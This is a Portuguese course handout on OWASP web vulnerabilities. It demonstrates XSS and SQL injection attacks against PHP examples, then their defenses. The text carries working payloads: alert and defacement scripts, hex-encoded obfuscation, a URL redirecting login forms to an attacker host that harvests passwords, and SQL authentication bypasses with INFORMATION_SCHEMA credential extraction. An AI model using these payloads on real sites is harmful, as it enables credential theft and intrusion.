Академический Документы
Профессиональный Документы
Культура Документы
O curso tem como objetivo apresentar aos alunos a realidade dos ataques em siste mas web de maneira prtica, demonstrando como os atacantes identificam as vulnerabilidades e, a partir delas, efetuam ataques que comprometem os principais ativos das empresas.
Sumrio
1. Introduo ao OWASP.......................................................................................................4 2. Introduo a Segurana da Informao ..............................................................................5 2.1. Segurana em Web....................................................................................................6 3. Vulnerabilidades Web .......................................................................................................7 3.1. Cross-Site-Script (OWASP #1) ......................................................................................7 3.1.1 Primeiro Exemplo Retorno de Variveis...............................................................8 3.1.2 Segundo Exemplo Recuperao de Dados..........................................................12 3.2.3 Terceiro Exemplo Alterao de Informaes da Pgina.......................................15 3.1.4 Quarto Exemplo Mudana de Escopo ................................................................16 3.1.5 Soluo ..............................................................................................................18 3.2. Injeo de SQL (OWASP #2) ......................................................................................20 3.2.1 Primeiro Exemplo Formulrio de Acesso............................................................21 3.2.1.1 Mtodo de Ataque ....................................................................................22 3.2.1.2 Primeira Proteo Ineficaz..........................................................................23 3.2.1.3 Segunda Proteo Ineficaz .........................................................................25 3.2.1.4 Terceira Proteo do Primeiro Exemplo (Eficiente?).....................................26 3.2.2 Segundo Exemplo (Ajax + Variveis Numricas) .................................................28 3.2.2.1 Ferramenta Auxiliar (FireBug) .....................................................................30 3.2.2.2 - Utilizando o INFORMATION_SCHEMA..........................................................33 3.2.2.3 Descobrindo o Nmero de Colunas .............................................................34 3.2.2.4 Obtendo colunas visveis ............................................................................36 3.2.2.5 Localizando Tabelas Necessrias.................................................................37 3.2.2.6 Descobrindo o Nome das Colunas...............................................................37 3.2.2.7 Efetuando o Ataque ...................................................................................38 3.2.7 - Concluso.........................................................................................................41 Pgina 2 Curso de Extenso Tecnolgica de Segurana em Web
3.3. Execuo de Arquivo Remoto (OWASP #3).................................................................42 3.3.1 Exemplo .............................................................................................................43 3.3.2 Soluo ..............................................................................................................48 3.4. Referncia Direta a Objetos Inseguros (OWASP #4) ....................................................50 3.4.1 Primeiro Exemplo - Acesso a Arquivos do Sistema Operacional..............................50 3.4.2 Segundo Exemplo - Acesso a Registros do Banco de Dados....................................51 3.4.3 Soluo ..............................................................................................................53 3.5. Cross Site Request Forgery (OWASP #5).....................................................................54 3.5.1 Primeiro Exemplo Forum Logout .......................................................................54 3.5.2 Segundo Exemplo Sites de e-Commerce.............................................................54 2.5.3 Soluo ..............................................................................................................58 3.6. Vazamento de Informao e Tratamento Incorreto de Erros (OWASP #6) ....................59 3.6.1 Primeiro Exemplo Mensagens Diversas..............................................................59 3.6.2 Segundo Exemplo Mensagens de Erro...................................................................60 Soluo ......................................................................................................................61 3.7. Furo de Autenticao e Gerncia de Sesso (OWASP #7) ... Erro! Indicador no definido. 3.8. Armazenamento Criptogrfico Inseguro (OWASP #8) .................................................65 3.8.1 Criptografia VS Hash ...........................................................................................65 3.8.2 Mal da Poltica de Segurana ...............................................................................65 3.8.3 Ataques a Sistemas Criptogrficos .......................................................................66 3.8.4 Ataques a Funes Hash......................................................................................67 3.8.5 Soluo ..............................................................................................................68 3.9. Comunicao Insegura (OWASP #9)...........................................................................69 3.9.1 Soluo ..............................................................................................................69 3.10. Falha de Restrio de URL (OWASP #10) ..................................................................70 3.10.1 Soluo ............................................................................................................71 4. Referncias ....................................................................................................................72 Curso de Extenso Tecnolgica de Segurana em Web Pgina 3
1. Introduo ao OWASP
O Open Web Application Security Project (OWASP) uma comunidade livre e aberta, mundialmente centrada na melhoria da segurana dos softwares. Sua misso tornar a segurana das aplicaes visveis, para que as pessoas e organizaes possam tomar conhecimento sobre os verdadeiros riscos de segurana que uma aplicao pode sofrer. Todos so livres de participar do OWASP, e todos os materiais esto disponveis sob uma licena de software livre. O OWASP um novo tipo de organizao. Sua liberdade do meio comercial permite fornecer mtodos imparciais, prticos e eficazes em termos de custos sobre a aplicao de segurana. O OWASP no afiliado a qualquer empresa tecnologia, apesar de apoiar a utilizao de solues de segurana tecnologia comercial. De maneira resumida, o OWASP possui como princpios ser livre e aberto, ser direta e concisa, obedecer a um cdigo de tica, no ter fins lucrativos, no ser impulsionada por interesses comerciais e ter uma abordagem baseada em riscos. Como cdigo de tica o OWASP define como seu: Executar todas as atividades profissionais e deveres em conformidade com todas as leis aplicveis e os mais altos princpios ticos; Promover a implementao e o cumprimento das normas, procedimentos e controles para efeitos de aplicao da segurana; Manter a confidencialidade adequada de propriedade ou de outra informao sensvel encontradas no decurso das atividades profissionais; Responsabilidades profissionais com diligncia e honestidade; Abster-se de quaisquer atividades que possam constituir um conflito de interesse ou de outra forma prejudicar a reputao dos empregadores, as informaes de segurana profisso, ou a Associao, e No intencionalmente ferir ou refutar a reputao profissional de prtica dos colegas, clientes ou funcionrio.
Pgina 4
Pgina 5
Pgina 6
Muitas vezes os programadores se preocupam em verificar informaes que so visveis e de fcil manipulao do usurio, como variveis de URL ou mesmo campos de formulrios. Porm diversos so os meios de efetuar um ataque, como campos hidden de formulrios, valores de campos do tipo select ou option, dados enviados pelo mtodo POST, dados armazenados em cookie e at mesmo valores enviados no cabealho HTTP da requisio.
3. Vulnerabilidades Web
A Web sem via de dvidas o meio mais fcil de ingressar e ter um espao na Internet. Alm do mais, muitas vezes nos referimos Internet como somente a Web, de tamanha diferena que ela difundida com relao aos outros mecanismos de comunicao. Por esse motivo ela tem sido alvo de ataques dos mais diversos. Como a Web tem crescido de maneira a fornecer dezenas mecanismos e ferramentas para iterao com ela, diversos tem sido os tipos de vetores de ataques, o que torna o ambiente Web literalmente uma selva, onde somente os que se preocupam com sua prpria segurana sobrevivero. Quando a aplicao Web no armazena nenhuma informao realmente valiosa ou importante, nota-se a no importncia pela existncia ou no de vulnerabilidades. Porm, importante saber que ao encontrar uma vulnerabilidade Web, ela pode ser utilizada como porto de entrada para uma invaso em massa e tomada total dos recursos e servios do servidor e possivelmente da rede onde o mesmo hospeda que, dependendo do contrato de vinculao do servio, pode responsabilizar o contratante do servio de hospedagem pelos prejuzos acarretados. Nos prximos captulos, sero descritos as principais classes de vulnerabilidades presentes na Web, como ela so identificadas e exploradas por um atacante, e como possvel prevenir que se desenvolva uma aplicao suscetvel a elas.
Pgina 7
mais, em um ataque planejado, possvel fazer literalmente o seqestro de sesso (do ingls session hijacking), que permite acessar o sistema com autenticao da vtima. De uma maneira geral, a falha de XSS ocorre quando o programador imprime no navegador de maneira dinmica (PHP, ASP, JSP etc) uma informao que pode ser manipulada pelo usurio. Como toda entrada mal intencionada at que se provem o contrrio, um atacante poderia inserir informaes no banco de dados ou em qualquer varivel que retorne para o usurio (navegador) sem nenhum tipo de filtro de segurana. Desta forma, ao inserir caracteres especiais, o atacante consegue fazer com que o navegador interprete a informao fornecida como cdigo Javascript, executando assim operaes no navegador da vtima. Com a massificao do XSS, idias foram surgindo. Dentre elas, a criao de w0rms em XSS foi sem dvida a mais fantstica. Dente os destaques est o Vrus do Orkut, que em meado de 2007, atravs da uma falha de XSS do Orkut, fazia com que o usurio atacado ingresse na comunidade Infectados pelo Virus do Orkut e enviasse o cdigo que infectaria todos os amigos. J de se esperar, a comunidade rapidamente chegou a meio milho de membros, o que fez com que ela fosse a comunidade recordista da poca.
No cdigo acima, possvel notar que o desenvolvedor repassa para o navegador o valor da varivel busca enviada pelo usurio atravs do mtodo GET. Um exemplo de formulrio de pesquisa que interaja com o cdigo acima pode ser visto abaixo:
Pgina 8
Uma caixa de texto fornece o valor da varivel busca ao cdigo PHP, porm esse valor poderia ter vindo de diversos lugares como campos hidden, cookie, diretamente da URL etc. O formulrio HTML tem seu funcionamento perfeito para usurios comuns e sem ms intenes. Porm em um ambiente real sempre devemos nos prever de usurios mal intencionados e levar em considerao que eles possuem conhecimento para efetuar o ataque e que vo faz-lo. Para um melhor entendimento do funcionamento da falha, veja como ficaria o cdigo gerado pelo script PHP para a busca Ataques Web:
Como de se esperar, o cdigo faz o que promete. Porm, se colocarmos caracteres especiais e que possa ser executados pelo navegador, o mesmo o far e ento conseguiremos ter sucesso em como um vetor de ataque. Veja como ficaria se colocssemos o seguinte valor XSS')</script> no campo de pesquisa:
<script>alert('Vulneravel a
Como de se esperar, o script PHP simplesmente repassou o valor digitado para a pgina. Desta forma, como inserimos cdigos Javascript, o navegador executou-os como segue:
Pgina 9
O exemplo de vulnerabilidade de XSS demonstrado no possui grandes chances de sucesso. Isto porque as informaes que so enviadas para serem exploradas so fornecidas no mesmo momento da requisio, ou seja, necessrio enviar a requisio para o servidor com os dados que efetuam o ataque para logo depois ter a explorao bem sucedida. Para isto, necessrio utilizar tcnicas de Engenharia Social. A Engenharia Social consiste em bolar um meio de literalmente enganar a vtima a fim de induzi-la a cooperar com o processo de explorao. O mais comum seria enviar um e-mail contendo alguma informao de interesse da vtima e, com isto, obter um mecanismo de fazer com que ela acesse um endereo como o que segue:
http://localhost/AtaquesWeb/xss_exemplo1.php?busca=<script>alert('Vulneravel+a+XSS')</script>
Ao acessar o endereo, o cdigo Javascript ser executado assim como ocorrido anteriormente em que utilizamos o formulrio de pesquisa. Porm, enviando o endereo citado acima, um usurio que tenha o mnimo de preocupao com segurana facilmente notaria que se trata de uma tentativa de ataque (sem mais detalhes). Para evitar esse tipo de desfeche, um atacante tenta ao mximo esconder o que poderia ser um ataque. Desta forma, a vtima ficaria insegura quanto possibilidade de ser um ataque ou no e, em muitas vezes, arriscaria. Um exemplo onde o atacante camuflaria as assinaturas do ataque poderia ser enviar o seguinte endereo:
http://localhost/AtaquesWeb/xss_exemplo1.php?busca =%3c%73%63%72%69 %70%74%3e%61 %6c%65 %72%74%28%27 %56%75%6 c%6e%65 %72%61%76%65 %6c%20%61%20 %58%53%53%27 %29%3c%2f% 73%63%72%69%70%74%3e
No padro da Web, quando se deseja enviar um caractere especial no cabealho HTTP, para o parser do servidor no ter problemas, foi definido como padro aplicar o HexEncode. O HexEncode (ou URLEncode), consiste em pegar cada um desses caracteres que poderiam causar problemas ao servidor na hora de interpretar e substitu-los pelo seu respectivo valor hexadecimal precedido do smbolo de porcentagem. Para facilitar o trabalho, foi escrito um cdigo Javascript em uma pgina que acelera o processo de codificao de uma entrada. Se for fornecido como entrada para esta pgina o
Pgina 10
cdigo que foi utilizado no ataque mesma retornar o texto codificado utilizado no exemplo anterior. Veja o resultado da execuo do codificador:
Como dito, o codificador simplesmente substitui cada caractere por seu respectivo valor ASCii (em hexadecimal) precedido do smbolo de porcentagem (linhas 21 e 22). Existem dezenas de mtodos onde podemos explorar a falha de Cross-Site-Scripting. Uma das grandes vantagens em sua explorao, que as vulnerabilidades de XSS so cross-plataform., ou seja, por ela serem explorada por cdigos de internet client-side, elas so independente de plataforma. Entretanto, teoricamente, as falhas de XSS se limitam ao ambiente Web, com isto no possvel gravar ou instalar programas no disco da mquina da vtima. Entretanto, isto verdade somente quando se deseja um cdigo que infecte mltiplas plataformas, j que em alguns navegadores como o Internet Explorer existem recursos que nos permite ler e gravar dados no HD da vtima.
Pgina 11
O cdigo acima consiste em uma simples agenda de contatos com uma rea de cadastro e uma listagem. Todo o processamento de busca e gravao feito nas funes cadastraContato (linha 5) e buscaContatos (linha 8). Isto foi feito propositalmente para abstrair o meio de armazenamento. Porm, para um melhor acompanhamento do curso segue o cdigo de ambas as funes:
Pgina 12
Toda entrada mal intencionada at que se provem ao contrrio. O foco da vulnerabilidade est no fato de o script gravar os dados fornecidos pelo usurio e em seguida os repassar sem nenhum tipo de filtro. Com isto, um atacante pode simplesmente injetar o cdigo Javascript em qualquer um dos campos e esperar que algum outro usurio acesse a mesma pgina executando, assim, o cdigo Javascript inserido. Veja:
Pgina 13
No exemplo, foi inserido no campo telefone o cdigo <script>alert('attack')</script> que ser gravado como um registro e, em qualquer acesso pgina, repassado para o usurio (vtima), tendo sucesso no ataque. Repare que a qualquer acesso que fizer pgina o resultado ser sempre o mesmo, a mensagem que foi inserida pelo atacante. Veja:
Repare que para demonstrar o sucesso na execuo do Javascript, foi solicitado que o mesmo exiba uma mensagem. Entretanto, em um ataque real, dificilmente o usurio suspeitar do atacante, j que o ataque procura fazer as requisies e aes de maneira escondida. Uma ao comum para um atacante seria alterar informaes da prpria pgina. Se o mesmo tiver o propsito de fazer uma pichao na pgina (defacing), ele poderia simplesmente injetar o seguinte cdigo: <script> document.body.innerHTML = "<h1 align='center'>H4ck3d by 0ut0fBound</h1>"; </script> Desta forma o impacto comercial para a vtima seria incalculvel, j que o resultado ser o visto na seguinte figura:
Pgina 14
Repare que na linha 17 impresso um valor fornecido pelo mtodo HTTP-GET, desta forma visvel na URL. Podemos tirar proveito disto montando uma URL cujo endereo seja algo como:
http://localhost/AtaquesWeb/xss_exemplo3.php?msg=<script>document.getElementsByTagName(for m)*0+.action=http://www.attackersite.com/pegasenha.php;</script>
Ambas as URL iro ter o mesmo efeito para o servidor, porm para o usurio a primeira URL apresenta maiores chances de ser um ataque.
Pgina 15
No exemplo citado, o servidor www.attackersite.com controlado pelo atacante e o script pegasenha.php simplesmente armazena as senhas fornecidas pelo e redireciona-o para o servidor original novamente informando uma mensagem de erro qualquer. Ao tentar novamente acessar o sistema, o usurio conseguir logar com sucesso, passando despercebido pelo ataque. Um exemplo simples de script que poderia ser utilizado pelo atacante para salvar as senhas e redirecionar ao servidor original pode ser visto abaixo:
Repare que na linha 12 o cdigo redireciona para a pgina de erro, induzindo o usurio a pensar que digitou errado o login ou a senha. Quando o usurio digitar novamente ter acessado normalmente o sistema. Quando um atacante deseja explorar uma falha de Cross-Site-Script, ele precisa saber o contexto onde ele consegue injetar o cdigo Javascript. Isto significa que, por mais que ele encontre uma falha de XSS em uma pgina, a explorao como as vistas at agora simplesmente podem no surtir efeito.
Pgina 16
Reparem que a varivel pedido repassada para a pgina sem nenhum tipo de filtro. Entretanto, se tentarmos inserir um cdigo Javascript como os vistos at agora, o mesmo no surtir efeito algum j que estamos no contexto da tag HTML <a>, mais precisamente no atributo href. Para se ter sucesso em uma explorao de XSS, necessrio antes sair do contexto da tag atual voltando para o contexto da pgina e, em seguida, retornar para o contexto da tag, de maneira a deixar imperceptvel a tentativa de ataque. Analisando mais cautelosamente, notamos que para sair ta tag atual, precisamos fechar as aspas e em seguida fechar o smbolo de maior-qu. Logo aps podemos inserir nosso cdigo Javascript. possvel notar que desta forma seria notvel que alguma coisa est estranha, j que sobraram as aspas e o smbolo de maior-que original e as mesmas sero impressas na pgina. Para que isto no ocorra, necessrio criar algum artifcio que utilize esses caracteres e os mesmo no seja impresso. Este ponto vai da criatividade de cada um, uma soluo seria o seguinte:
http://localhost/AtaquesWeb/xss_exemplo4.php?pedido="><script>alert('attack')</script><xss+"
Com isto, o script ser executado e no afetar o leiaute da pgina. Para se proteger de ataques de XSS, basta levar em considerao a frase dita em diversas parte do documento: Toda entrada mal intencionada at que se provem o contrrio.. Seguindo este paradigma de programao seria razoavelmente simples e til se proteger no s dos ataques de Cross-Site-Scripting, como de praticamente qualquer ataque Web ou no-web. Como a vulnerabilidade de XSS consiste em inserir cdigos Javascript na pgina, uma alternativa seria impedir a insero de caracteres que possam inferir na execuo do script como os caracteres < e >. Veja um exemplo de cdigo abaixo:
Como em uma poltica de firewall, tentar bloquear o que no se deseja no uma boa alternativa, pois s vezes difcil (ou impossvel) prever todo tipo de dado que pode representar um ataque. Portanto, como uma poltica de firewall, o ideal seria permitir somente entradas vlidas. Um exemplo que burlaria esse filtro simples seria a insero do seguinte dado URL: http://localhost/AtaquesWeb/xss_safe01.php?usuario=" onmouseover="javascript:alert('XSS') Curso de Extenso Tecnolgica de Segurana em Web Pgina 17
Ao carregar a pgina, a falha no seria carregada. Porm, ao passar o mouse sobre a caixa de texto, o resultado seria como a seguinte imagem:
3.1.5 Soluo
Em vez de procurar prover uma proteo contra os ataques de Cross-Site-Scripting, o ideal seria torn-los sem efeito. Isso porque muitas vezes necessrio se inserir os caracteres maior-que e menor-que em uma mensagem ou em um campo de formulrio. Alm do mais, no seria muito legal fornecer ao usurio inocente uma mensagem de tentativa de ataque caso ele tente colocar os caracteres de um emotion ou de uma setinha como ->. Para uma real soluo que agrade a todos, o prprio HTML nos fornece uma soluo. Diversos caracteres possuem outras representaes que indicam que os mesmo deve ser renderizados no navegador ao invs de passar para interpretao. Como toda a internet (TCP/IP), isto no foi feito pensando em segurana, mas sim na diferena de codificao entre as diversas regies e navegadores. Alguns utilizam por padro ISSO-8859-1, outros utiliza UTF8 como padro, o que causa um grande problema caso tentem ser interpretados. No caso da linguagem PHP, uma funo chamada htmlspecialchars() pode ser utilizada para substituir os caracteres que so interpretador como HTML para suas representaes reais a serem impressas no navegador. Esta funo possui a seguinte sintaxe: string htmlspecialchars ( string $string [, int $quote_style [, string $charset ]] ) O primeiro parmetro consiste na entrada fornecida pelo usurio. O segundo parmetro (opcional) utilizado para o PHP saber o que fazer com as aspas-simples e aspas-dupla. O terceiro parmetro (opcional). O terceiro parmetro utilizado para identificar o conjunto de caracteres (codificao) a ser utilizada. O padro de codificao o ISO-8859-1. Para o segundo parmetro quote_style, o modo padro, ENT_COMPAT, o modo mais compatvel com a atualidade, apenas transforma a aspas-dupla e deixa a aspas-simples como est. Se ENT_QUOTES est definida, ambas transformadas e se ENT_NOQUOTES est definida nenhuma das duas so modificadas.
Pgina 18
A lista de caracteres e suas substituies esto representadas na tabela abaixo: Caractere & < > Nome Comercial Aspas duplas Aspas simples Menor que Maior que Resultado & " ' < > Condio ENT_NOQUOTES no est definida Quando ENT_QUOTES est definida
Resultado de execuo:
Pgina 19
Pgina 20
Com isto, vamos ao primeiro, mais simples e mais vulnervel mtodo de validao de acesso que receba os dados deste formulrio, verifica se existe no banco e, valida o acesso.
Pgina 21
O cdigo comum maioria dos desenvolvedores. Inicialmente ele verifica se no foi passado algum campo em branco (linhas 5-8). Em seguida ele monta um comando SQL que buscar os usurios que coincidem com os campos passados no formulrio (linhas 13-18), conecta ao banco (linha 21), executa o comando SQL pegando o recordset (linha 23) e valida o usurio se existiu algum registro que coincidiu com os dados fornecidos (linhas 26-33).
Repare que com as entradas especificadas possvel alterar a lgica do comando SQL. Desta forma, a consulta que deveria retornar somente um registro se existisse acabou retornando todos os registros do banco de dados, retornando como usurio o primeiro que for encontrado no banco (geralmente webmaster ou administrador). Pgina 22 Curso de Extenso Tecnolgica de Segurana em Web
Porm, como ainda no feito quaisquer tipo de validao da entrada fornecida pelo usurio, um atacante poderia induzir a sua injeo de SQL a retornar somente 1 (um) nico registro. Isto pode ser facilmente obtido atravs do parmetro LIMIT dos comandos SQL. Um exemplo de entrada que burlaria esse mecanismo de proteo seria: Usurio: ' or ''=' Senha: ' or ''='' LIMIT 1 -Repare que houve uma modificao no campo senha do formulrio. Esta modificao est induzindo o comando SQL a retornar todos os registros (como anteriormente), porm limitando a consulta a apenas um nico registro. Desta forma, o comando SQL resultante seria o seguinte:
Pgina 23
Alm disto, se um atacante desejar acessar o sistema utilizando um usurio especfico, o cdigo de checagem no surtiria efeito algum como mecanismo de segurana. Um exemplo para acessar com um possvel usurio maycon pode ser efetuado com as seguintes entradas: Usurio: maycon' /* Senha: */ -Desta forma, o comando SQL a ser executado seria como segue:
Repare que foi inserido um usurio maycon e logo aps foi aberto um comentrio de bloco, que foi fechado pelo campo senha e, como temos mais caracteres aps este, foi inserido um comentrio de linha, que ignora quaisquer caracteres subseqentes a ele. Utilizando a entrada especificada como ataque surtiria o seguinte efeito:
Pgina 24
Neste aspecto, temos dois meios de explorao, o primeiro seria inserir o primeiro injection visto no campo usurio e ir chutando senhas aleatrias, desta forma, o campo usurio seria ignorando e se a senha coincidir com a senha de qualquer usurio o mesmo seria utiliz ado para autenticao. O segundo seria induzir a senha, ou seja, bolar algum mecanismo para manipular a senha a fim de escolher qual senha utilizar. Para o primeiro mtodo, uma entrada como a seguinte seria satisfeita se existisse algum usurio com a senha 123456: Usurio: ' or ''=' Senha: 123456 Ao inserir os valores citados nos campos, o comando SQL resultante seria o seguinte:
Desta forma, seria localizado qualquer registro com senha 123456. Assim, um atacante experiente conseguiria desenvolver uma ferramenta de fora bruta (do ingls Brute Force) que tentaria obter acesso com um dicionrio de senhas padres. Outro mtodo mais avanado de se obter acesso anulando o comando SQL original e gerando um novo comando SQL, induzindo assim qualquer senha que de sejar. Para isto, uma entrada mais complexa deve ser fornecido, veja: Usurio: ' UNION SELECT 1,'hacker','login','*/ -- ' /* Senha: */ --
Pgina 25
Como notado, o comando padro SQL no retorna nada e, atravs do comando UNION, foi gerado um segundo comando que retorna um registro de constantes, tendo as seguintes colunas: Id: 1 Nome: hacker Login: login Senha: */ -Ento, definimos a senha no novo registro como a mesma definida no formulrio HTML, tendo o seguinte resultado no navegador:
Repare que todos os ataques SQL Injection at ento demonstrados se baseiam em utilizar caracteres especiais do SQL. Dentre esses caracteres, o presente em todos os exemplos a aspas-simples, que no SQL utilizado como delimitador de cadeira de caractere (string). Com isto, diversos programadores protegem seus cdigos desses caracteres, s vezes removendoos quando for passar um desses parmetros para um comando SQL ou simplesmente aplicado o chamado escape.
Por mais que se tente explorar o cdigo, este o melhor modo de se proteger de SQL Injection em campos alfanumricos. Veja o cdigo final como fica: Se aplicarmos a funo addslashes() em nosso ultimo exemplo, o comando SQL passado para o Banco de Dados ficaria como segue:
Repare que se aplicarmos corretamente a funo addslashes() at mesmo o primeiro exemplo no estaria vulnervel, pois um atacante no conseguiria manipul ar a lgica dos comandos SQL.
Pgina 27
importante ressaltar que o ultimo cdigo est livre de SQL Injection, porm nele ainda possvel notar duas falhas de segurana que sero vistas em captulos adiantes. Como dito anteriormente, o a utilizao da funo addslashes() til quando trabalhamos com variveis alfanumricas. O grande problema, que programadores no sabem ou no se importam com variveis numricas que podem ser manipuladas por um usurio atacante. No inicio desde captulo, foi comparado o grau de ocorrncia da falha de SQL Injection com a falha de Cross-Site-Scripting, defendendo a lgica de que ambas se equivalem quanto ocorrncia nas aplicaes web. Os mtodos de ataques SQL Injection visto at agora j so praticamente escassos na internet, porm, os prximos mtodos de explorao descritos so to comuns na Internet que, ao conhec-los, percebe-se o quo a gigante rede de computadores est a merc de pessoas mal-intencionadas. Uma ocorrncia extremamente encontrada na Internet semelhante ao prximo exemplo, j que a tecnologia Ajax (Asynchronous Javascript and XML) to difundida e utilizada na internet de maneira a aumentar a acessibilidade com o usurio porm sem pesar na mesma balanas aspectos que nos diz respeito a segurana.
Pgina 28
Ele consiste em um simples formulrio dinmico, onde ao selecione o campo select com um determinado ano, ser carregado os veculos desde ano no segundo select. possvel notar que a requisio solicitando os veculos feito ao arquivo buscaModelo.php que possui o seguinte cdigo:
Pgina 29
Com os complementos instalados, podemos utilizar para auxiliar em nosso processo de auditoria da aplicao. importante ressaltar que existem dois mtodos para ser localizar e neutralizar as vulnerabilidades em uma aplicao. Uma delas a auditoria de cdigo, onde temos acesso ao cdigo-fonte e atravs da leitura do mesmo e com o auxilio de algumas ferramentas encontram-se os pontos fracos, dando o nome de auditoria de cdigo. A outra atravs da aplicao, onde a partir da viso do usurio (ou atacante), tenta-se levantar os possveis vetores de ataques e ento parte-se para os ataques em si, visando obter sucesso. A essa ltima dar-se o nome de teste de intruso (pen-test penetration test).
Pgina 30
Com os complementos instalados, podemos not-los atravs da barra de ferramentas do Web Developer e com o cone do FireBug na bandeja do navegador. Ao selecionar um ano em um dos selects, atravs do FireBug possvel observar a requisio feita ao servidor:
Ento, basta copiar o endereo clicando com o boto direito no item da requisio e selecionando Copiar Localizao. A partir da basta col-lo na barra de endereo para acess-lo diretamente.
Vemos ento o item que foi adicionado outra listagem (modelo). importante ressaltar que, apesar do retorno ter sido em texto puro e a requisio ter sido atravs Ajax, o conceito se aplicao a qualquer tipo de retorno, como XML; e a qualquer tipo de meio de submisso, como formulrios POST e banners de Flash. Existem diversas maneiras de identificar um possvel vetor de ataque. Dependendo da configurao do servidor, uma simples entrada mal-formatada ou com caracteres especficos fazem a aplicao praticamente gritar Pultz... Estou vulnervel!. Porm, em alguns casos necessrio analisar algumas respostas do servidor para verificar a vulnerabilidades. No exemplo anterior, ao adicionar uma aspa simples varivel de URL ano, nota-se que no houve qualquer mensagem de erro do servidor, o que para muitos seria a concluso de que o
Pgina 31
mesmo no est vulnervel. Porm ao adicionarmos algumas informaes especficas, temos uma resposta um tanto quanto curiosa, vejamos alguns exemplos:
Repare que os trs valores passados possuem uma caracterstica em comum: 1953-1 = 3914/2 = sqrt(3810304) = 1952 Os trs valores representam o registro do ano 1952 (Ferrari 250 S Vignale Coupe), o que confirma a vulnerabilidade, visto que o valor fornecido varivel est sendo repassada diretamente para a consulta SQL. Tendo um possvel vetor de ataque, agora basta passar para o processo de explorao.
Pgina 32
Porm, para um atacante, somente duas tabelas so fundamentais a TABLES e a COLUMNS que possuem a seguinte estrutura:
Pgina 33
Repare que a tabela TABLES possui um campo chamado TABLE_NAME e que a tabela COLUMNS possui um campo COLUMN_NAME e um campo TABLE_NAME. Com isto, possvel obter a estrutura interna inteira do Banco de Dados atravs de uma simples vulnerabilidade. Para o nosso exemplo vulnervel, inicialmente necessitamos sabe como est organizado o comando SQL original. Atravs do cdigo sabemos isto, porm em um ambiente hostil (na selva) isso no ocorre.
Pgina 34
Outra maneira mais recomendada seria atravs de uma tentativa de ordenao pelo ndice da coluna, j que assim podemos achar a quantidade de colunas em uma ordem de tempo binria (semelhante busca binria). No binria de 0s e 1s, mas sim binrio que a diviso seria feita sempre pela metade, ou seja, seria possvel achar a quantidade de colunas em muito menos tempo (menos da metade) que o mtodo anterior. Veja: campo=0 ORDER BY 100 (Erro) campo=0 ORDER BY 50 (Erro) campo =0 ORDER BY 25 (Erro) campo =0 ORDER BY 12 (Sucesso) campo =0 ORDER BY 20 (Sucesso) campo =0 ORDER BY 23 (Erro) campo =0 ORDER BY 21 (Sucesso) campo =0 ORDER BY 22 (Erro) Desta forma, sabemos que se colocarmos um ndice maior do que o nmero de colunas gerar um erro, caso contrrio, o comando ser executado com sucesso. Assim, colocamos inicialmente um numero grande (como 100) e vemos que gerou o erro, desta forma, vamos quebrando o nmero pela metade at ter sucesso na execuo. No exemplo, ordenando pelo nmero 25 tivermos erro e ao ordenar com o numero 12 no tivemos. Isto significa que o nmero de colunas est no intervalo de 12 25 (inclusive 12). Ao irmos executado os passos, chegamos a um estado em que com 21 obtivemos sucesso na execuo da consulta e que 22 gerou um erro. Desta forma, possvel concluir que a consulta possui exatas 21 colunas. Vamos fazer os testes para o exemplo fornecido:
Pgina 35
Assim, pode-se concluir que o cdigo possui exatas duas colunas em sua consulta SQL.
Pgina 36
http://localhost/AtaquesWeb/buscaModelo.php?ano=-1 UNION SELECT TABLE_NAME,2 FROM INFORMATION_SCHEMA.TABLES Repare que na listagem aparecem todas as tabelas do sistema e, dentre elas, a tabela que contem os usurios (tblusuarios) do exemplo da tela apresentado anteriormente.
Pgina 37
Com isto, sabemos que temos uma tabela com nome tblusuario que possui os campos id, nome, usurio e senha.
De maneira mais organizada, o que a explorao nos retornou foi o seguinte: Usurio admin maycon Senha 123456 chuck
Pode parecer que no, mas impressionante como existem milhares de portais e sistemas web com o mesmo vetor de vetor de vulnerabilidade. Portais que possuem informaes de clientes, informaes de cartes de crditos dentre outras coisas que um administrador ou um usurio no desejariam que casse em mos erradas esto realmente vulnerveis a esse tipo de falha, o que torna a possibilidade de ataque uma questo de tempo. No exemplo anterior, foi necessria a utilizao das aspas para sucesso no ataque, pois sem elas no seria possvel (veremos que no bem assim) definir qual tabela estamos procurando os campos. claro que poderamos relacionar as duas tabelas e selecionar pelo ndice do registro da tabela, porm tornaria o comando de injection bastante complexo e, no final, acabaramos esbarrando em algum outro empecilho. Um programador pouco experiente em segurana possui conhecimento bsico do primeiro mtodo utilizado e, para proteger seus cdigos filtra todos os campos que sero passados para uma consulta SQL das aspas simples. De uma maneira geral, um programador que entenda o bsico de SQL Injection ficaria com uma falsa segurana fazendo o seguinte cdigo:
Pgina 38
Porm, como estamos executando comandos no Banco de Dados, temos acesso s funes internas do mesmo. Dentre as funes esto s funes algbricas, funes de formatao, funes de administrao do BD, funes de tratamento de textos entre outras categorias. Como podemos executar tais funes, basta ver qual recurso o banco de dados nos oferece para driblar esse mecanismo de proteo. O meio mais simples de fazer isto, seria atravs da funo CHAR() que, a partir de uma lista de valores ASCII retorna o texto resultante dos caracteres. No caso anterior, foi passado o valor tblusuario para a consulta. Em forma ASCII, cada uma das letras pode ser visto na tabela abaixo: Letra ASCII t 116 b 98 l 108 u 117 s 115 u 117 a 97 r 114 i 105 o 111 s 115
Formando, ento, a seguinte representao atravs da funo CHAR(): http://localhost/AtaquesWeb/buscaModelo.php?ano=-1 UNION SELECT COLUMN_NAME,2 FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=CHAR(116, 98, 108, 117, 115, 117, 97, 114, 105, 111, 115) Esse exemplo foi especfico para o SGBD MySQL, porm qualquer banco de dados descente possui funo semelhante. Para se proteger desse tipo de vulnerabilidade, segue-se o mesmo conceito de sempre: Ao invs de procurar ver se o usurio est fornecendo algum dado malfico, faa com que ele fornea somente o que voc necessita. Com isto, no exemplo anterior, analisamos que a varivel em questo estritamente numrica. Portanto, basta verificar se o valor fornecido pelo usurio numrico ou no. Cada linguagem possui um recurso para isto. No caso do PHP, isto pode ser feito atravs da funo is_numeric() que possui a seguinte definio: bool is_numeric ( mixed $var )
Pgina 39
Esta funo simplesmente retorna true se o parmetro fornecido for numrico ou false caso contrrio. Desta forma, nosso cdigo seguro ficaria da seguinte maneira:
